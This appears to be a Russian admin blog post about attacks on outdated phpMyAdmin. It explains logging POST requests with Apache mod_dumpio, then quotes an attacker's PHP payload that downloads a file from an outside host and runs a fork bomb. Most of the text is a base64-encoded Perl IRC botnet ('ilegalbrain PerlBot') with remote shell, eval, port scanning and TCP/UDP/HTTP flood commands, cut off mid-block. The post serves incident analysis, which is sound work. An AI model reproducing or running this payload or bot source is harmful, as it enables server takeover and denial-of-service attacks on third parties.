Изначально планировалось написать развернутую заметку о вреде использования устаревшего программного обеспечения и в особенности phpmyadmin. Однако по прошествии нескольких дней по ключевым словам была найдена аналогичная статья, которая рекомендована к прочтению.
Остановимся на отличительных особенностях. Автор использовал модифицированный скрипт php, чтобы перехватить данные POST-запроса, т.к. по умолчанию они не записываются ни в какой журнал. Однако в этом нет необходимости. В особенности, если на сервере размещается несколько проектов и каждый использует свою копию phpmyadmin или какого-либо другого уязвимого программного обеспечения, модификация каждого из них дело неблагодарное. Достаточно воспользоваться штатным модулем mod_dumpio сервера apache. Для его активации необходимо добавить директивы
LoadModule dumpio_module modules/mod_dumpio.so DumpIOInput On LogLevel debug
При этом необходимо убедиться, что директива LogLevel не переопределяется в нижележащих директивах, например, в директиве VirtualHost предположительно уязвимого домена. В этом случае все данные всех POST-запросов будут записываться в соответствующие журналы ErrorLog.
Немаловажный момент всей процедуры актуальность Вашей операционной системы и системных сервисов. Т.к. после автоматического проникновения бота вырисовывается человек и начинает перебирать различные эксплоиты с целью заполучить полный контроль над системой. Окончательно отчаявшиеся в безуспешности своих попыток, пытаются просто навредить. В частности среди возможных скриптов на выполнение проскакивают типичные fork() бомбы:
<? system("cd /tmp/ ; wget -q http://tevad.do.am/j.txt ; curl -O http://tevad.do.am/j.txt ; fetch http://tevad.do.am/j.txt ; perl -e 'fork while fork;' ; rm -rf j*");exit?>
Т.к. с течением времени использованные при взломе ссылки становятся не доступными, позволим себе под капотом разместить в base64 формате полученные в результате анализа исходные тексты вышеописанных в статье ботов.
IyEvdXNyL2Jpbi9wZXJsCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gIwojICAgICAgICAgICAgICAg ICBpbGVnYWxicmFpbiBQZXJsQm90ICAgICAgICAgICAgICAgICAgICAgICAgICMK IyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLSAjCgpteSAkcHJvY2Vzc28gPSAnL3Vzci9zYmluL2h0dHBk JzsKCgpteSBAdGl0aSA9ICgiaW5kZXgucGhwP3BhZ2U9IiwibWFpbi5waHA/cGFn ZT0iKTsKCm15ICRnb25pID0gJHRpdGlbcmFuZCBzY2FsYXIgQHRpdGldOwoKbXkg JGxpbmFzX21heD0nMyc7Cm15ICRzbGVlcD0nNyc7Cm15IEBhZG1zPSgiY2luY2ki LCAic2FzZSIsICJzYXB0ZSIgKTsKbXkgQGhvc3RhdXRoPSgid24udXMiLCJwdWJs aWMubkwiKTsKbXkgQGNhbmFpcz0oIiNmIik7Cm15ICRuaWNrPSdmJzsKbXkgJGly Y25hbWUgPSdmJzsKY2hvcCAobXkgJHJlYWxuYW1lID0gYHVuYW1lIC1zcjtpZGAp Owokc2Vydmlkb3I9J2Nyb24uaWxlZ2FsYnJhaW4uY29tJyB1bmxlc3MgJHNlcnZp ZG9yOwpteSAkcG9ydGE9JzY2NjcnOwpteSAkVkVSU0FPID0gJzAuNSc7CiRTSUd7 J0lOVCd9ID0gJ0lHTk9SRSc7CiRTSUd7J0hVUCd9ID0gJ0lHTk9SRSc7CiRTSUd7 J1RFUk0nfSA9ICdJR05PUkUnOwokU0lHeydDSExEJ30gPSAnSUdOT1JFJzsKJFNJ R3snUFMnfSA9ICdJR05PUkUnOwp1c2UgSU86OlNvY2tldDsKdXNlIFNvY2tldDsK dXNlIElPOjpTZWxlY3Q7CmNoZGlyKCIvdG1wIik7CiRzZXJ2aWRvcj0iJEFSR1Zb MF0iIGlmICRBUkdWWzBdOwokMD0iJHByb2Nlc3NvIi4iXDAieDE2OzsKbXkgJHBp ZD1mb3JrOwpleGl0IGlmICRwaWQ7CmRpZSAiUHJvYmxlbWEgY29tIG8gZm9yazog JCEiIHVubGVzcyBkZWZpbmVkKCRwaWQpOwoKb3VyICVpcmNfc2VydmVyczsKb3Vy ICVEQ0M7Cm15ICRkY2Nfc2VsID0gbmV3IElPOjpTZWxlY3QtPm5ldygpOwoKJHNl bF9jbGllbnRlID0gSU86OlNlbGVjdC0+bmV3KCk7CnN1YiBzZW5kcmF3IHsKICBp ZiAoJCNfID09ICcxJykgewogICAgbXkgJHNvY2tldCA9ICRfWzBdOwogICAgcHJp bnQgJHNvY2tldCAiJF9bMV1cbiI7CiAgfSBlbHNlIHsKICAgICAgcHJpbnQgJElS Q19jdXJfc29ja2V0ICIkX1swXVxuIjsKICB9Cn0KCnN1YiBjb25lY3RhciB7CiAg IG15ICRtZXVuaWNrID0gJF9bMF07CiAgIG15ICRzZXJ2aWRvcl9jb24gPSAkX1sx XTsKICAgbXkgJHBvcnRhX2NvbiA9ICRfWzJdOwoKICAgbXkgJElSQ19zb2NrZXQg PSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUHJvdG89PiJ0Y3AiLCBQZWVyQWRkcj0+ IiRzZXJ2aWRvcl9jb24iLCBQZWVyUG9ydD0+JHBvcnRhX2Nvbikgb3IgcmV0dXJu KDEpOwogICBpZiAoZGVmaW5lZCgkSVJDX3NvY2tldCkpIHsKICAgICAkSVJDX2N1 cl9zb2NrZXQgPSAkSVJDX3NvY2tldDsKCiAgICAgJElSQ19zb2NrZXQtPmF1dG9m bHVzaCgxKTsKICAgICAkc2VsX2NsaWVudGUtPmFkZCgkSVJDX3NvY2tldCk7Cgog ICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydob3N0J30gPSAiJHNl cnZpZG9yX2NvbiI7CiAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17 J3BvcnRhJ30gPSAiJHBvcnRhX2NvbiI7CiAgICAgJGlyY19zZXJ2ZXJzeyRJUkNf Y3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOwogICAgICRpcmNfc2VydmVy c3skSVJDX2N1cl9zb2NrZXR9eydtZXVpcCd9ID0gJElSQ19zb2NrZXQtPnNvY2to b3N0OwogICAgIG5pY2soIiRtZXVuaWNrIik7CiAgICAgc2VuZHJhdygiVVNFUiAk aXJjbmFtZSAiLiRJUkNfc29ja2V0LT5zb2NraG9zdC4iICRzZXJ2aWRvcl9jb24g OiRyZWFsbmFtZSIpOwogICAgIHNsZWVwIDE7CiAgIH0KfQpteSAkbGluZV90ZW1w Owp3aGlsZSggMSApIHsKICAgd2hpbGUgKCEoa2V5cyglaXJjX3NlcnZlcnMpKSkg eyBjb25lY3RhcigiJG5pY2siLCAiJHNlcnZpZG9yIiwgIiRwb3J0YSIpOyB9CiAg IGRlbGV0ZSgkaXJjX3NlcnZlcnN7Jyd9KSBpZiAoZGVmaW5lZCgkaXJjX3NlcnZl cnN7Jyd9KSk7CiAgIG15IEByZWFkeSA9ICRzZWxfY2xpZW50ZS0+Y2FuX3JlYWQo MCk7CiAgIG5leHQgdW5sZXNzKEByZWFkeSk7CiAgIGZvcmVhY2ggJGZoIChAcmVh ZHkpIHsKICAgICAkSVJDX2N1cl9zb2NrZXQgPSAkZmg7CiAgICAgJG1ldW5pY2sg PSAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9OwogICAgICRu cmVhZCA9IHN5c3JlYWQoJGZoLCAkbXNnLCA0MDk2KTsKICAgICBpZiAoJG5yZWFk ID09IDApIHsKICAgICAgICAkc2VsX2NsaWVudGUtPnJlbW92ZSgkZmgpOwogICAg ICAgICRmaC0+Y2xvc2U7CiAgICAgICAgZGVsZXRlKCRpcmNfc2VydmVyc3skZmh9 KTsKICAgICB9CiAgICAgQGxpbmVzID0gc3BsaXQgKC9cbi8sICRtc2cpOwoKICAg ICBmb3IobXkgJGM9MDsgJGM8PSAkI2xpbmVzOyAkYysrKSB7CiAgICAgICAkbGlu ZSA9ICRsaW5lc1skY107CiAgICAgICAkbGluZT0kbGluZV90ZW1wLiRsaW5lIGlm ICgkbGluZV90ZW1wKTsKICAgICAgICRsaW5lX3RlbXA9Jyc7CiAgICAgICAkbGlu ZSA9fiBzL1xyJC8vOwogICAgICAgdW5sZXNzICgkYyA9PSAkI2xpbmVzKSB7CiAg ICAgICAgIHBhcnNlKCIkbGluZSIpOwogICAgICAgfSBlbHNlIHsKICAgICAgICAg ICBpZiAoJCNsaW5lcyA9PSAwKSB7CiAgICAgICAgICAgICBwYXJzZSgiJGxpbmUi KTsKICAgICAgICAgICB9IGVsc2lmICgkbGluZXNbJGNdID1+IC9cciQvKSB7CiAg ICAgICAgICAgICAgIHBhcnNlKCIkbGluZSIpOwogICAgICAgICAgIH0gZWxzaWYg KCRsaW5lID1+IC9eKFxTKykgTk9USUNFIEFVVEggOlwqXCpcKi8pIHsKICAgICAg ICAgICAgICAgcGFyc2UoIiRsaW5lIik7CiAgICAgICAgICAgfSBlbHNlIHsKICAg ICAgICAgICAgICAgJGxpbmVfdGVtcCA9ICRsaW5lOwogICAgICAgICAgIH0KICAg ICAgIH0KICAgICAgfQogICB9Cn0KIApzdWIgcGFyc2UgewogICBteSAkc2VydmFy ZyA9IHNoaWZ0OwogICBpZiAoJHNlcnZhcmcgPX4gL15QSU5HIFw6KC4qKS8pIHsK ICAgICBzZW5kcmF3KCJQT05HIDokMSIpOwogICB9IGVsc2lmICgkc2VydmFyZyA9 fiAvXlw6KC4rPylcISguKz8pXEAoLis/KSBQUklWTVNHICguKz8pIFw6KC4rKS8p IHsKICAgICAgIG15ICRwbj0kMTsgbXkgJGhvc3RtYXNrPSAkMzsgbXkgJG9uZGUg PSAkNDsgbXkgJGFyZ3MgPSAkNTsKICAgICAgIGlmICgkYXJncyA9fiAvXlwwMDFW RVJTSU9OXDAwMSQvKSB7CiAgICAgICAgIG5vdGljZSgiJHBuIiwgIlwwMDFWRVJT SU9OIG1JUkMgdjYuMTYgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIik7CiAgICAgICB9 CiAgICAgICBpZiAoZ3JlcCB7JF8gPX4gL15cUSRob3N0bWFza1xFJC9pIH0gQGhv c3RhdXRoKSB7CiAgICAgICBpZiAoZ3JlcCB7JF8gPX4gL15cUSRwblxFJC9pIH0g QGFkbXMpIHsKICAgICAgICAgaWYgKCRvbmRlIGVxICIkbWV1bmljayIpewogICAg ICAgICAgIHNoZWxsKCIkcG4iLCAiJGFyZ3MiKTsKICAgICAgICAgfQogICAgICAg ICBpZiAoJGFyZ3MgPX4gL14oXFEkbWV1bmlja1xFfFwhc2F5KVxzKyguKikvICkg ewogICAgICAgICAgICBteSAkbmF0cml4ID0gJDE7CiAgICAgICAgICAgIG15ICRh cmcgPSAkMjsKICAgICAgICAgICAgaWYgKCRhcmcgPX4gL15cISguKikvKSB7CiAg ICAgICAgICAgICAgaXJjYXNlKCIkcG4iLCIkb25kZSIsIiQxIikgdW5sZXNzICgk bmF0cml4IGVxICIhYm90IiBhbmQgJGFyZyA9fiAvXlwhbmljay8pOwogICAgICAg ICAgICB9IGVsc2lmICgkYXJnID1+IC9eXEAoLiopLykgewogICAgICAgICAgICAg ICAgJG9uZGVwID0gJG9uZGU7CiAgICAgICAgICAgICAgICAkb25kZXAgPSAkcG4g aWYgJG9uZGUgZXEgJG1ldW5pY2s7CiAgICAgICAgICAgICAgICBiZnVuYygiJG9u ZGVwIiwiJDEiKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAg IHNoZWxsKCIkb25kZSIsICIkYXJnIik7CiAgICAgICAgICAgIH0KICAgICAgICAg fSAKICAgICAgIH0KCX0KICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8p XCEoLis/KVxAKC4rPylccytOSUNLXHMrXDooXFMrKS9pKSB7CiAgICAgICBpZiAo bGMoJDEpIGVxIGxjKCRtZXVuaWNrKSkgewogICAgICAgICAkbWV1bmljaz0kNDsg CiAgICAgICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30g PSAkbWV1bmljazsKICAgICAgIH0KICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gbS9e XDooLis/KVxzKzQzMy9pKSB7CiAgICAgICBuaWNrKCIkbWV1bmlja3wiLmludCBy YW5kKDk5OTk5OSkpOwogICB9IGVsc2lmICgkc2VydmFyZyA9fiBtL15cOiguKz8p XHMrMDAxXHMrKFxTKylccy9pKSB7CiAgICAgICAkbWV1bmljayA9ICQyOwogICAg ICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVu aWNrOwogICAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25vbWUn fSA9ICIkMSI7CiAgICAgICBmb3JlYWNoIG15ICRjYW5hbCAoQGNhbmFpcykgewog ICAgICAgICBzZW5kcmF3KCJKT0lOICRjYW5hbCBkZG9zaXQiKTsKICAgICAgIH0K ICAgfQp9CgoKc3ViIGJmdW5jIHsKICBteSAkcHJpbnRsID0gJF9bMF07CiAgbXkg JGZ1bmNhcmcgPSAkX1sxXTsKICBpZiAobXkgJHBpZCA9IGZvcmspIHsKICAgICB3 YWl0cGlkKCRwaWQsIDApOwogIH0gZWxzZSB7CiAgICAgIGlmIChmb3JrKSB7CiAg ICAgICAgIGV4aXQ7CiAgICAgICB9IGVsc2UgewogICAgICAgICAgIGlmICgkZnVu Y2FyZyA9fiAvXnBvcnRzY2FuICguKikvKSB7CiAgICAgICAgICAgICBteSAkaG9z dGlwPSIkMSI7CiAgICAgICAgICAgICBteSBAcG9ydGFzPSgiMjEiLCIyMiIsIjIz IiwiMjUiLCI4MCIsIjExMyIsIjEzNSIsIjQ0NSIsIjEwMjUiLCI1MDAwIiwiNjY2 MCIsIjY2NjEiLCI2NjYyIiwiNjY2MyIsIjY2NjUiLCI2NjY2IiwiNjY2NyIsIjY2 NjgiLCI2NjY5IiwiNzAwMCIsIjgwODAiLCI4MDE4Iik7CiAgICAgICAgICAgICBt eSAoQGFiZXJ0YSwgJXBvcnRhX2Jhbm5lcik7CgkgICAgIHNlbmRyYXcoJElSQ19j dXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW1NDQU5dXDAwMiBTY2Fu bmluZyAiLiQxLiIgZm9yIG9wZW4gcG9ydHMuIik7ICAgICAKICAgICAgICAgICAg IGZvcmVhY2ggbXkgJHBvcnRhIChAcG9ydGFzKSAgewogICAgICAgICAgICAgICAg bXkgJHNjYW5zb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+ ICRob3N0aXAsIFBlZXJQb3J0ID0+ICRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcsIFRp bWVvdXQgPT4gNCk7CiAgICAgICAgICAgICAgICBpZiAoJHNjYW5zb2NrKSB7CiAg ICAgICAgICAgICAgICAgICBwdXNoIChAYWJlcnRhLCAkcG9ydGEpOwogICAgICAg ICAgICAgICAgICAgJHNjYW5zb2NrLT5jbG9zZTsKICAgICAgICAgICAgICAgIH0K ICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICBpZiAoQGFiZXJ0YSkgewogICAg ICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHBy aW50bCA6XDAwMltTQ0FOXVwwMDIgT3BlbiBwb3J0KHMpOiBAYWJlcnRhIik7CiAg ICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNf Y3VyX3NvY2tldCwiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW1NDQU5dXDAwMiBObyBv cGVuIHBvcnRzIGZvdW5kIik7IAogICAgICAgICAgICAgfQogICAgICAgICAgIH0K ICAgICAgICAgICBpZiAoJGZ1bmNhcmcgPX4gL150Y3BmbG9vZFxzKyguKilccyso XGQrKVxzKyhcZCspLykgewoJICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwg IlBSSVZNU0cgJHByaW50bCA6XDAwMltUQ1BdXDAwMiBBdHRhY2tpbmcgIi4kMS4i OiIuJDIuIiBmb3IgIi4kMy4iIHNlY29uZHMuIik7CgkgICAgIG15ICRpdGltZSA9 IHRpbWU7CgkgICAgIG15ICgkY3VyX3RpbWUpOwogICAgICAgICAgICAgJGN1cl90 aW1lID0gdGltZSAtICRpdGltZTsKCSAgICAgd2hpbGUgKCQzPiRjdXJfdGltZSl7 CiAgICAgICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOwoJICAgICAm dGNwZmxvb2RlcigiJDEiLCIkMiIsIiQzIik7CiAgICAgICAgICAgICB9CgkgICAg IHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAy W1RDUF1cMDAyIEF0dGFjayBkb25lICIuJDEuIjoiLiQyLiIuIik7CiAgICAgICAg ICAgfQoJICAgaWYgKCRmdW5jYXJnID1+IC9edmVyc2lvbi8pIHsKCQlzZW5kcmF3 KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMltWRVJTSU9O XVwwMDIgcGVybGIwdCB2ZXIgIi4kVkVSU0FPKTsJCSAgIAoJCX0KICAgICAgICAg ICBpZiAoJGZ1bmNhcmcgPX4gL15nb29nbGVccysoXGQrKVxzKyguKikvKSB7Cgkg ICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpc MDAyW0dPT0dMRV1cMDAyIFNjYW5uaW5nIGZvciB1bnBhdGNoZWQgbWFtYm8gZm9y ICIuJDEuIiBzZWNvbmRzLiIpOwoJICAgICBzcmFuZDsKCSAgICAgbXkgJGl0aW1l ID0gdGltZTsKCSAgICAgbXkgKCRjdXJfdGltZSk7CgkgICAgIG15ICgkZXhwbG9p dGVkKTsKCSAgICAgJGJvdHVybD0kMjsKICAgICAgICAgICAgICRjdXJfdGltZSA9 IHRpbWUgLSAkaXRpbWU7JGV4cGxvaXRlZCA9IDA7CgkJd2hpbGUoJDE+JGN1cl90 aW1lKXsKCQkgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKCQkgICAgQHVy bHM9ZmV0Y2goKTsKCQkJZm9yZWFjaCAkdXJsIChAdXJscykgewoJCQkkY3VyX3Rp bWUgPSB0aW1lIC0gJGl0aW1lOwoJCQlteSAkcGF0aCA9ICIiO215ICRmaWxlID0g IiI7KCRwYXRoLCAkZmlsZSkgPSAkdXJsID1+IC9eKC4rKVwvKC4rKSQvOwoKCQkJ JHVybCA9JHBhdGguIi8kZ29uaSRib3R1cmwiIDsKCgoKCgkJCSRwYWdlID0gaHR0 cF9xdWVyeSgkdXJsKTsKCQkJJGV4cGxvaXRlZCA9ICRleHBsb2l0ZWQgKyAxOwoJ CSAgICB9CgkJfQoJICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZN U0cgJHByaW50bCA6XDAwMltHT09HTEVdXDAwMiBFeHBsb2l0ZWQgIi4kZXhwbG9p dGVkLiIgYm94ZXMgaW4gIi4kMS4iIHNlY29uZHMuIik7CiAgICAgICAgICAgfQog ICAgICAgICAgIGlmICgkZnVuY2FyZyA9fiAvXmh0dHBmbG9vZFxzKyguKilccyso XGQrKS8pIHsKCSAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNH ICRwcmludGwgOlwwMDJbSFRUUF1cMDAyIEF0dGFja2luZyAiLiQxLiI6ODAgZm9y ICIuJDIuIiBzZWNvbmRzLiIpOwoJICAgICBteSAkaXRpbWUgPSB0aW1lOwoJICAg ICBteSAoJGN1cl90aW1lKTsKICAgICAgICAgICAgICRjdXJfdGltZSA9IHRpbWUg LSAkaXRpbWU7CgkgICAgIHdoaWxlICgkMj4kY3VyX3RpbWUpewogICAgICAgICAg ICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKCSAgICAgbXkgJHNvY2tldCA9 IElPOjpTb2NrZXQ6OklORVQtPm5ldyhwcm90bz0+J3RjcCcsIFBlZXJBZGRyPT4k MSwgUGVlclBvcnQ9PjgwKTsKICAgICAgICAgICAgIHByaW50ICRzb2NrZXQgIkdF VCAvIEhUVFAvMS4xXHJcbkFjY2VwdDogKi8qXHJcbkhvc3Q6ICIuJDEuIlxyXG5D b25uZWN0aW9uOiBLZWVwLUFsaXZlXHJcblxyXG4iOwoJICAgICBjbG9zZSgkc29j a2V0KTsKICAgICAgICAgICAgIH0KCSAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2Nr ZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJbSFRUUF1cMDAyIEF0dGFja2luZyBk b25lICIuJDEuIi4iKTsKICAgICAgICAgICB9CiAgICAgICAgICAgaWYgKCRmdW5j YXJnID1+IC9edWRwZmxvb2RccysoLiopXHMrKFxkKylccysoXGQrKS8pIHsKICAg ICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJp bnRsIDpcMDAyW1VEUF1cMDAyIEF0dGFja2luZyAiLiQxLiIgd2l0aCAiLiQyLiIg S2IgcGFja2V0cyBmb3IgIi4kMy4iIHNlY29uZHMuIik7CiAgICAgICAgICAgICBt eSAoJGR0aW1lLCAlcGFjb3RlcykgPSB1ZHBmbG9vZGVyKCIkMSIsICIkMiIsICIk MyIpOwogICAgICAgICAgICAgJGR0aW1lID0gMSBpZiAkZHRpbWUgPT0gMDsKICAg ICAgICAgICAgIG15ICVieXRlczsKICAgICAgICAgICAgICRieXRlc3tpZ21wfSA9 ICQyICogJHBhY290ZXN7aWdtcH07CiAgICAgICAgICAgICAkYnl0ZXN7aWNtcH0g PSAkMiAqICRwYWNvdGVze2ljbXB9OwogICAgICAgICAgICAgJGJ5dGVze299ID0g JDIgKiAkcGFjb3Rlc3tvfTsKICAgICAgICAgICAgICRieXRlc3t1ZHB9ID0gJDIg KiAkcGFjb3Rlc3t1ZHB9OwogICAgICAgICAgICAgJGJ5dGVze3RjcH0gPSAkMiAq ICRwYWNvdGVze3RjcH07CiAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3Nv Y2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMltVRFBdXDAwMiBTZW50ICIuaW50 KCgkYnl0ZXN7aWNtcH0rJGJ5dGVze2lnbXB9KyRieXRlc3t1ZHB9ICsgJGJ5dGVz e299KS8xMDI0KS4iIEtiIGluICIuJGR0aW1lLiIgc2Vjb25kcyB0byAiLiQxLiIu Iik7CiAgICAgICAgICAgfQogICAgICAgICAgIGV4aXQ7CiAgICAgICB9CiAgfQp9 CiAKc3ViIGlyY2FzZSB7CiAgbXkgKCRrZW0sICRwcmludGwsICRjYXNlKSA9IEBf OwoKICBpZiAoJGNhc2UgPX4gL15qb2luICguKikvKSB7CiAgICAgaigiJDEiKTsK ICAgfSAKCmlmICgkY2FzZSA9fiAvXnJlZnJlc2ggKC4qKS8pIHsKbXkgJGdvbmkg PSAkdGl0aVtyYW5kIHNjYWxhciBAdGl0aV07CiB9CgogICBpZiAoJGNhc2UgPX4g L15wYXJ0ICguKikvKSB7CiAgICAgIHAoIiQxIik7CiAgIH0KICAgaWYgKCRjYXNl ID1+IC9ecmVqb2luXHMrKC4qKS8pIHsKICAgICAgbXkgJGNoYW4gPSAkMTsKICAg ICAgaWYgKCRjaGFuID1+IC9eKFxkKykgKC4qKS8pIHsKICAgICAgICBmb3IgKG15 ICRjYSA9IDE7ICRjYSA8PSAkMTsgJGNhKysgKSB7CiAgICAgICAgICBwKCIkMiIp OwogICAgICAgICAgaigiJDIiKTsKICAgICAgICB9CiAgICAgIH0gZWxzZSB7CiAg ICAgICAgICBwKCIkY2hhbiIpOwogICAgICAgICAgaigiJGNoYW4iKTsKICAgICAg fQogICB9CiAgIGlmICgkY2FzZSA9fiAvXm9wLykgewogICAgICBvcCgiJHByaW50 bCIsICIka2VtIikgaWYgJGNhc2UgZXEgIm9wIjsKICAgICAgbXkgJG9hcmcgPSBz dWJzdHIoJGNhc2UsIDMpOwogICAgICBvcCgiJDEiLCAiJDIiKSBpZiAoJG9hcmcg PX4gLyhcUyspXHMrKFxTKykvKTsKICAgfQogICBpZiAoJGNhc2UgPX4gL15kZW9w LykgewogICAgICBkZW9wKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAi ZGVvcCI7CiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCA1KTsKICAgICAg ZGVvcCgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsK ICAgfQogICBpZiAoJGNhc2UgPX4gL15tc2dccysoXFMrKSAoLiopLykgewogICAg ICBtc2coIiQxIiwgIiQyIik7CiAgIH0KICAgaWYgKCRjYXNlID1+IC9eZmxvb2Rc cysoXGQrKVxzKyhcUyspICguKikvKSB7CiAgICAgIGZvciAobXkgJGNmID0gMTsg JGNmIDw9ICQxOyAkY2YrKykgewogICAgICAgIG1zZygiJDIiLCAiJDMiKTsKICAg ICAgfQogICB9CiAgIGlmICgkY2FzZSA9fiAvXmN0Y3BccysoXFMrKSAoLiopLykg ewogICAgICBjdGNwKCIkMSIsICIkMiIpOwogICB9CiAgIGlmICgkY2FzZSA9fiAv XmN0Y3BmbG9vZFxzKyhcZCspXHMrKFxTKykgKC4qKS8pIHsKICAgICAgZm9yICht eSAkY2YgPSAxOyAkY2YgPD0gJDE7ICRjZisrKSB7CiAgICAgICAgY3RjcCgiJDIi LCAiJDMiKTsKICAgICAgfQogICB9CiAgIGlmICgkY2FzZSA9fiAvXm5pY2sgKC4q KS8pIHsKICAgICAgbmljaygiJDEiKTsKICAgfQogICBpZiAoJGNhc2UgPX4gL15j b25uZWN0XHMrKFxTKylccysoXFMrKS8pIHsKICAgICAgIGNvbmVjdGFyKCIkMiIs ICIkMSIsIDY2NjcpOwogICB9CiAgIGlmICgkY2FzZSA9fiAvXnJhdyAoLiopLykg ewogICAgICBzZW5kcmF3KCIkMSIpOwogICB9CiAgIGlmICgkY2FzZSA9fiAvXmV2 YWwgKC4qKS8pIHsKICAgICBldmFsICIkMSI7CiAgIH0KfQoKc3ViIHNoZWxsIHsK ICBteSAkcHJpbnRsPSRfWzBdOwogIG15ICRjb21hbmRvPSRfWzFdOwogIGlmICgk Y29tYW5kbyA9fiAvY2QgKC4qKS8pIHsKICAgIGNoZGlyKCIkMSIpIHx8IG1zZygi JHByaW50bCIsICJObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5Iik7CiAgICByZXR1 cm47CiAgfSAKICBlbHNpZiAoJHBpZCA9IGZvcmspIHsKICAgICB3YWl0cGlkKCRw aWQsIDApOwogIH0gZWxzZSB7CiAgICAgIGlmIChmb3JrKSB7CiAgICAgICAgIGV4 aXQ7CiAgICAgICB9IGVsc2UgewogICAgICAgICAgIG15IEByZXNwPWAkY29tYW5k byAyPiYxIDM+JjFgOwogICAgICAgICAgIG15ICRjPTA7CiAgICAgICAgICAgZm9y ZWFjaCBteSAkbGluaGEgKEByZXNwKSB7CiAgICAgICAgICAgICAkYysrOwogICAg ICAgICAgICAgY2hvcCAkbGluaGE7CiAgICAgICAgICAgICBzZW5kcmF3KCRJUkNf Y3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6JGxpbmhhIik7CiAgICAgICAg ICAgICBpZiAoJGMgPT0gIiRsaW5hc19tYXgiKSB7CiAgICAgICAgICAgICAgICRj PTA7CiAgICAgICAgICAgICAgIHNsZWVwICRzbGVlcDsKICAgICAgICAgICAgIH0K ICAgICAgICAgICB9CiAgICAgICAgICAgZXhpdDsKICAgICAgIH0KICB9Cn0KCnN1 YiB0Y3BmbG9vZGVyIHsKIG15ICRpdGltZSA9IHRpbWU7CiBteSAoJGN1cl90aW1l KTsKIG15ICgkaWEsJHBhLCRwcm90bywkaiwkbCwkdCk7CiAkaWE9aW5ldF9hdG9u KCRfWzBdKTsKICRwYT1zb2NrYWRkcl9pbigkX1sxXSwkaWEpOwogJGZ0aW1lPSRf WzJdOwogJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKICRqPTA7JGw9MDsK ICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7CiB3aGlsZSAoJGw8MTAwMCl7CiAg JGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKICBsYXN0IGlmICRjdXJfdGltZSA+ PSAkZnRpbWU7CiAgJHQ9IlNPQ0skbCI7CiAgc29ja2V0KCR0LFBGX0lORVQsU09D S19TVFJFQU0sJHByb3RvKTsKICBjb25uZWN0KCR0LCRwYSl8fCRqLS07CiAgJGor KzskbCsrOwogfQogJGw9MDsKIHdoaWxlICgkbDwxMDAwKXsKICAkY3VyX3RpbWUg PSB0aW1lIC0gJGl0aW1lOwogIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsK ICAkdD0iU09DSyRsIjsKICBzaHV0ZG93bigkdCwyKTsKICAkbCsrOwogfQp9Cgpz dWIgdWRwZmxvb2RlciB7CiAgbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRfWzBdKTsK ICBteSAkbXNnID0gJ0EnIHggJF9bMV07CiAgbXkgJGZ0aW1lID0gJF9bMl07CiAg bXkgJGNwID0gMDsKICBteSAoJXBhY290ZXMpOwogICRwYWNvdGVze2ljbXB9ID0g JHBhY290ZXN7aWdtcH0gPSAkcGFjb3Rlc3t1ZHB9ID0gJHBhY290ZXN7b30gPSAk cGFjb3Rlc3t0Y3B9ID0gMDsKICAKICBzb2NrZXQoU09DSzEsIFBGX0lORVQsIFNP 